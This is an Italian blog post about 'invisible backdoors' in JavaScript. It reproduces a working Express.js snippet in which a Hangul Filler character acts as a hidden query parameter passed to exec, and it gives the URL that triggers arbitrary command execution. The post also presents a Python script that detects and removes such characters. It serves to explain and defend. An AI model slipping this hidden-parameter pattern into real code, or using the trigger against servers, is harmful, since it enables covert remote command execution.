Lavorare nella sicurezza informatica è come vivere nella giungla. Ogni giorno dovete stare attenti alle possibili minacce che potrebbero mettervi in pericolo. Oggi parliamo di un nuovo tipo di vulnerabilità piuttosto subdola, perché invisibile. Sì, stiamo per parlare di Backdoor invisibili.
Background
L’argomento è abbastanza recente: qualche settimana fa è stato pubblicato un documento intitolato “Trojan Source: Invisible Vulnerabilities“. In questo articolo si parla di come sia possibile, utilizzando alcuni speciali caratteri Unicode, introdurre Trojan Source all’interno di una base di codice senza essere individuati; in seguito hanno anche creato un sito web per mostrare questo tipo di vulnerabilità. Non voglio parlarne di nuovo in questo post per due motivi:
L’argomento è piuttosto recente: qualche settimana fa è stato pubblicato un documento intitolato “”. In questo articolo si parla di come sia possibile, utilizzando alcuni speciali caratteri Unicode, introdurre Trojan Source all’interno di una base di codice senza essere individuati; in seguito hanno anche creato un sito web per mostrare questo tipo di vulnerabilità. Non voglio parlarne ancora in questo post per due motivi:
- Come ho detto, c’è un documento pubblicato di recente che è molto più dettagliato di quanto potrei mai essere io.
- Questo post si concentra su una verticalizzazione di questo metodo generale di attacco.
Infatti, come si può vedere dal titolo del post, voglio parlare specificamente delle backdoor invisibili in Javascript e di come individuarle; quindi, senza esitazione, spieghiamo rapidamente cos’è una backdoor invisibile.
Cosa è una backdoor invisibile
Una Invisible Backdoor è una vulnerabilità descritta un paio di settimane fa da Wolfgang Ettlinger di Certitude. Nel paragrafo che segue, utilizzerò lo stesso frammento di codice usato da Wolfgang per fornirvi un esempio funzionante di Invisible Backdoor in Node.js.
Riuscite a individuare la backdoor nel seguente frammento di codice?
const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec); const app = express(); app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ ]; try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 }))); res.status(200); res.send('ok'); } catch(e) { res.status(500); res.send('failed'); } });app.listen(8080);
Se guardate con attenzione probabilmente lo troverete, ma sono sicuro che il 90% di voi non lo vedrà a prima vista. Questo codice implementa un semplice endpoint GET utilizzando il framework Express; questo endpoint prende anche un parametro dalla stringa di query (il timeout) ed esegue due comandi:
- un ping a google.com
- un curl a example.com
Se entrambi i comandi (Promise.all) vengono completati con successo, viene restituito un messaggio 200 OK (con il testo ok); se invece almeno uno di essi fallisce, viene restituito un messaggio 500 Internal Server Error (con il testo failed).
Se vi dicessi che tutto quello che ho scritto nelle frasi precedenti è (parzialmente) una bugia? Non c’è un solo parametro preso dalla stringa di query e i comandi eseguiti sono tre, non due.
L’approccio utilizzato per creare una backdoor invisibile è piuttosto semplice: esistono alcuni caratteri Unicode che assomigliano a uno spazio vuoto e che possono essere utilizzati anche come nome di variabile. Infatti, ogni carattere Unicode con la proprietà ID_START può essere usato come primo carattere di un nome di variabile (e quindi può anche essere un nome di variabile stesso). Il carattere trovato nel post che ho linkato prima è “ㅤ” (0x3164 in esadecimale) che si chiama HANGUL FILLER. Infatti, se si osserva attentamente la sesta riga, si troverà una virgola e uno spazio vuoto dopo di essa; non si tratta di uno spazio comune, ma di un padding hangul.
const { timeout,\u3164} = req.query;
Lo stesso vale per la riga successiva, quando sono stati definiti tutti i comandi da eseguire:
const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',\u3164 ];
Se avete familiarità con Javascript capirete subito cosa sta succedendo; utilizzando la proprietà di destrutturazione degli Oggetti, due variabili possono essere scompattate dalla stringa di query: sia il timeout che la variabile invisibile Hangul Filler. Il risultato è il seguente: se si chiama questo endpoint aggiungendo la versione codificata dall’URL dell’Hangul Filler, si potrà eseguire qualsiasi comando:
http://host:8080/network_health?%E3%85%A4=<any command>
Qual è il problema di questo tipo di attacco? Facile a dirsi: Potrei semplicemente modificare il codice sorgente di un progetto open-source e quasi nessuno se ne accorgerebbe.
Come rilevare una Backdoor invisibile
Questo tipo di backdoor è difficile da individuare perché, come dice il titolo, è invisibile! Per questo motivo, siamo riusciti a creare un piccolo script Python che permette di individuare e rimuovere questi caratteri Unicode. Prima di descrivere rapidamente il funzionamento dello script, devo sottolineare che questa particolare backdoor dovrebbe essere applicabile solo al codice Javascript a causa del suo modo unico di destrutturare gli oggetti. Sicuramente ci sono molti modi per utilizzare i caratteri Unicode per iniettare un Trojan in una base di codice senza essere visti (come descritto anche dal documento linkato all’inizio del post). Andiamo avanti e passiamo subito allo script che abbiamo chiamato Invisibled Backdoor Detector.
All’inizio siamo riusciti a trovare altri caratteri simili all’HANGUL FILLER. Abbiamo utilizzato una semplice ricerca con la parola chiave “filler” e abbiamo trovato questi:
Quelli che si comportano come uno spazio vuoto (escluso il riempimento Hangul) sono:
- Hangul Choseong Filler
- Hangul Jungseong Filler
- Halfwidth Hangul Filler
Lo script è abbastanza semplice: bisogna eseguirlo sul percorso del codice sorgente. A quel punto lo script:
- Verifica se il path fornito dall’utente è valido
- Acquisisce il test dai files nella cartella ricorsivamente
- Controlla ogni file per la presenza di “Fillers” (leggendo i bytes da ogni file)
- Mostra l’output
- [Optionalmente] Rimuove questi caratteri dalla codebase.
Ecco lo script in azione.
Come amiamo condividere, lo script è disponibile pubblicamente su GitHub ed è rilasciato sotto la licenza MIT. Se volete provarlo, non dovete fare altro che clonare il repo, installare le dipendenze (attraverso il file requirements.txt) e potete testarlo subito sul file di esempio che vi abbiamo fornito:
python3 invisible-backdoor-detector.py path ./example/src/ [--remove]
Il risultato sarà esattamente uguale a quello della schermata precedente.
Anche se mi sono concentrato solo sulle Invisible Backdoor, questo codice può essere facilmente modificato per aggiungere altri caratteri Unicode che possono essere utilizzati in altri tipi di attacchi (come gli Homoglyph). Non aspettate oltre, clonatelo e provatelo sulla vostra base di codice (e magari dateci una stellina).